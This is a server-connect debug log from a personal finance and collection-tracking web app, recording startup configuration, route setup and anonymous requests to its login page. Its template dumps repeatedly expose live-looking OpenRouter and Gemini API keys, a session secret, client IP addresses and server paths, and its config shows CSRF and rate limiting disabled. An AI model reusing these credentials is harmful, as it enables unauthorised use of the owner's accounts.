2026-06-12T22:01:58.270Z server-connect:auth No login cookie found
2026-06-12T22:01:58.270Z server-connect:output identity: false
2026-06-12T22:01:58.270Z server-connect:app Executing action step restrict
2026-06-12T22:01:58.270Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-12T22:01:58.270Z server-connect:output restrict: undefined
2026-06-12T22:01:58.543Z server-connect:router Serving templateView /login
2026-06-12T22:01:58.544Z server-connect:app Executing action step identify
2026-06-12T22:01:58.544Z server-connect:app options: { provider: 'security' }
2026-06-12T22:01:58.544Z server-connect:auth No login cookie found
2026-06-12T22:01:58.544Z server-connect:output identity: false
2026-06-12T22:01:58.544Z server-connect:router Render template layouts/authentication
2026-06-12T22:01:58.544Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '103.196.9.183',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-13T22:01:58.543Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '103.196.9.183',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '103.196.9.183',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-12T22:01:58.854Z server-connect:router Serving templateView /login
2026-06-12T22:01:58.855Z server-connect:app Executing action step identify
2026-06-12T22:01:58.855Z server-connect:app options: { provider: 'security' }
2026-06-12T22:01:58.855Z server-connect:auth No login cookie found
2026-06-12T22:01:58.855Z server-connect:output identity: false
2026-06-12T22:01:58.855Z server-connect:router Render template layouts/authentication
2026-06-12T22:01:58.855Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '103.196.9.137',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-13T22:01:58.854Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '103.196.9.137',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '103.196.9.137',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-12T22:02:20.012Z server-connect:router Serving templateView /
2026-06-12T22:02:20.013Z server-connect:app Executing action step identify
2026-06-12T22:02:20.013Z server-connect:app options: { provider: 'security' }
2026-06-12T22:02:20.013Z server-connect:auth No login cookie found
2026-06-12T22:02:20.013Z server-connect:output identity: false
2026-06-12T22:02:20.013Z server-connect:app Executing action step restrict
2026-06-12T22:02:20.013Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-12T22:02:20.014Z server-connect:output restrict: undefined
2026-06-12T22:21:49.793Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-12T22:21:52.065Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-12T22:21:52.929Z server-connect:setup:upload Upload middleware configured.
2026-06-12T22:21:52.930Z server-connect:secure CSRF Protection initialized
2026-06-12T22:21:52.934Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-12T22:21:52.936Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-12T22:21:52.940Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-12T22:21:52.941Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-12T22:21:52.946Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-12T22:21:52.954Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-12T22:21:52.964Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-12T22:21:52.978Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-12T22:21:52.983Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-12T22:21:52.984Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-12T22:21:52.984Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-12T22:21:52.989Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-12T22:21:52.995Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-12T22:21:53.005Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-12T22:21:53.009Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-12T22:21:53.017Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-12T22:21:53.018Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-12T22:21:53.022Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-12T22:21:53.028Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-12T22:21:53.032Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-12T22:21:53.034Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-12T22:21:53.042Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-12T22:21:53.043Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-12T22:21:53.050Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-12T22:21:53.051Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-12T22:21:53.056Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-12T22:21:53.057Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-12T22:21:53.059Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-12T22:21:53.065Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-12T22:21:53.067Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-12T22:21:53.069Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-12T22:21:53.071Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-12T22:21:53.075Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-12T22:21:53.077Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-12T22:21:53.083Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-12T22:21:53.089Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-12T22:21:53.091Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-12T22:21:53.100Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-12T22:21:53.589Z server-connect:router Serving templateView /
2026-06-12T22:21:53.592Z server-connect:router Serving templateView /
2026-06-12T22:21:53.594Z server-connect:app Executing action step identify
2026-06-12T22:21:53.594Z server-connect:app options: { provider: 'security' }
2026-06-12T22:21:53.596Z server-connect:auth No login cookie found
2026-06-12T22:21:53.596Z server-connect:output identity: false
2026-06-12T22:21:53.596Z server-connect:app Executing action step restrict
2026-06-12T22:21:53.596Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-12T22:21:53.600Z server-connect:output restrict: undefined
2026-06-12T22:21:53.600Z server-connect:app Executing action step identify
2026-06-12T22:21:53.601Z server-connect:app options: { provider: 'security' }
2026-06-12T22:21:53.601Z server-connect:auth No login cookie found
2026-06-12T22:21:53.601Z server-connect:output identity: false
2026-06-12T22:21:53.601Z server-connect:app Executing action step restrict
2026-06-12T22:21:53.601Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-12T22:21:53.601Z server-connect:output restrict: undefined
2026-06-12T22:21:55.161Z server-connect:router Serving templateView /login
2026-06-12T22:21:55.161Z server-connect:app Executing action step identify
2026-06-12T22:21:55.161Z server-connect:app options: { provider: 'security' }
2026-06-12T22:21:55.161Z server-connect:auth No login cookie found
2026-06-12T22:21:55.161Z server-connect:output identity: false
2026-06-12T22:21:55.162Z server-connect:router Render template layouts/authentication
2026-06-12T22:21:55.163Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15',
    'accept-charset': 'utf-8',
    referer: 'https://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '157.173.126.56',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-13T22:21:55.160Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.173.126.56',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '157.173.126.56',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-12T22:55:41.568Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-12T22:55:50.934Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-12T22:55:51.865Z server-connect:setup:upload Upload middleware configured.
2026-06-12T22:55:51.865Z server-connect:secure CSRF Protection initialized
2026-06-12T22:55:51.870Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-12T22:55:51.871Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-12T22:55:51.873Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-12T22:55:51.875Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-12T22:55:51.881Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-12T22:55:51.885Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-12T22:55:51.898Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-12T22:55:51.913Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-12T22:55:51.916Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-12T22:55:51.918Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-12T22:55:51.921Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-12T22:55:51.925Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-12T22:55:51.930Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-12T22:55:51.939Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-12T22:55:51.945Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-12T22:55:52.016Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-12T22:55:52.017Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-12T22:55:52.021Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-12T22:55:52.028Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-12T22:55:52.031Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-12T22:55:52.036Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-12T22:55:52.042Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-12T22:55:52.045Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-12T22:55:52.052Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-12T22:55:52.052Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-12T22:55:52.057Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-12T22:55:52.060Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-12T22:55:52.060Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-12T22:55:52.066Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-12T22:55:52.070Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-12T22:55:52.070Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-12T22:55:52.072Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-12T22:55:52.078Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-12T22:55:52.078Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-12T22:55:52.085Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-12T22:55:52.089Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-12T22:55:52.089Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-12T22:55:52.099Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-12T22:55:52.592Z server-connect:router Serving templateView /
2026-06-12T22:55:52.594Z server-connect:app Executing action step identify
2026-06-12T22:55:52.594Z server-connect:app options: { provider: 'security' }
2026-06-12T22:55:52.596Z server-connect:auth No login cookie found
2026-06-12T22:55:52.596Z server-connect:output identity: false
2026-06-12T22:55:52.597Z server-connect:app Executing action step restrict
2026-06-12T22:55:52.597Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-12T22:55:52.601Z server-connect:output restrict: undefined
2026-06-12T23:10:13.165Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-12T23:10:13.332Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-12T23:10:13.421Z server-connect:setup:upload Upload middleware configured.
2026-06-12T23:10:13.421Z server-connect:secure CSRF Protection initialized
2026-06-12T23:10:13.423Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-12T23:10:13.424Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-12T23:10:13.425Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-12T23:10:13.425Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-12T23:10:13.426Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-12T23:10:13.427Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-12T23:10:13.428Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-12T23:10:13.428Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-12T23:10:13.431Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-12T23:10:13.431Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-12T23:10:13.432Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-12T23:10:13.432Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-12T23:10:13.432Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-12T23:10:13.433Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-12T23:10:13.433Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-12T23:10:13.433Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-12T23:10:13.434Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-12T23:10:13.434Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-12T23:10:13.434Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-12T23:10:13.434Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-12T23:10:13.435Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-12T23:10:13.435Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-12T23:10:13.435Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-12T23:10:13.436Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-12T23:10:13.436Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-12T23:10:13.436Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-12T23:10:13.436Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-12T23:10:13.436Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-12T23:10:13.437Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-12T23:10:13.437Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-12T23:10:13.437Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-12T23:10:13.437Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-12T23:10:13.438Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-12T23:10:13.438Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-12T23:10:13.438Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-12T23:10:13.438Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-12T23:10:13.438Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-12T23:10:13.439Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-12T23:10:13.536Z server-connect:router Serving templateView /
2026-06-12T23:10:13.539Z server-connect:router Serving templateView /
2026-06-12T23:10:13.540Z server-connect:app Executing action step identify
2026-06-12T23:10:13.541Z server-connect:app options: { provider: 'security' }
2026-06-12T23:10:13.542Z server-connect:auth No login cookie found
2026-06-12T23:10:13.542Z server-connect:output identity: false
2026-06-12T23:10:13.542Z server-connect:app Executing action step restrict
2026-06-12T23:10:13.543Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-12T23:10:13.546Z server-connect:output restrict: undefined
2026-06-12T23:10:13.547Z server-connect:app Executing action step identify
